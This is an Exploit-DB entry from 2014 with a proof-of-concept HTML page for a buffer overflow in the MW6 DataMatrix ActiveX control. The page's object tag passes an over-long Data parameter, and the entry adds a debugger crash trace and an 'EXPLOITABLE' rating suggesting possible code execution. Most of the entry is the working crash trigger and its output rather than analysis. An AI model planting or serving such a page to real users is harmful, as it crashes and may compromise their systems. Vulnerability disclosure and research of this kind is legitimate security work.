Exploit-DB #31177
Description: MW6 Technologies Datamatrix - ActiveX 'Data' Buffer Overflow
Type: dos
Platform: windows
Date: 2014-01-24
Author: Pedro Ribeiro

Exploit:
<!--
===========================================================================
Problem: The Data parameter is subject to a buffer overflow PROBABLY
leading to arbitrary code execution.
COM Object - {DE7DA0B5-7D7B-4CEA-8739-65CF600D511E} MW6DataMatrix Class
File Description    : DataMatrix ActiveX
File Version        : 4, 0, 0, 1
To trigger the overflow enter a string larger than 10000 characters.
This one I'm not 100% sure if I can control. The attached PoC
(mw6datamatrix.html) dies with the following message:

DATAMA_1!DllUnregisterServer+0xac5f:
02fbbcea 668984566c5c0100 mov     word ptr [esi+edx*2+15C6Ch],ax
ds:0023:03006000=????

The !exploitable windbg plugin says:

Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
DATAMA_1!DllUnregisterServer+0x[PII_REDACTED]00ac5f
(Hash=0x3a50672d.0x5d486a2f)
User mode write access violations that are not near NULL are exploitable.

So the buffer overflow might be exploitable by someone  willing to
spend more time on this.

COM Object - {DE7DA0B5-7D7B-4CEA-8739-65CF600D511E} MW6DataMatrix Class
*******************************************************************************
COM Object Filename : C:\WINDOWS\system32\DATAMA~1.DLL
Major Version       : 4
Minor Version       : 0
Build Number        : 0
Revision Number     : 1
Product Version     : 4, 0, 0, 1
Product Name        : DataMatrix Module
Company Name        : MW6 Technologies, Inc.
Legal Copyright     : MW6 Technologies, Inc.
Comments            : 
File Description    : DataMatrix ActiveX
File Version        : 4, 0, 0, 1
Internal Name       : DataMatrix
Legal Trademarks    : 
Private Build       : 
Special Build       : 
Language            : not found
*******************************************************************************
-->
<object id=TestObj classid="CLSID:{DE7DA0B5-7D7B-4CEA-8739-65CF600D511E}" style="width:100;height:350">
<PARAM NAME="Data" VALUE="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx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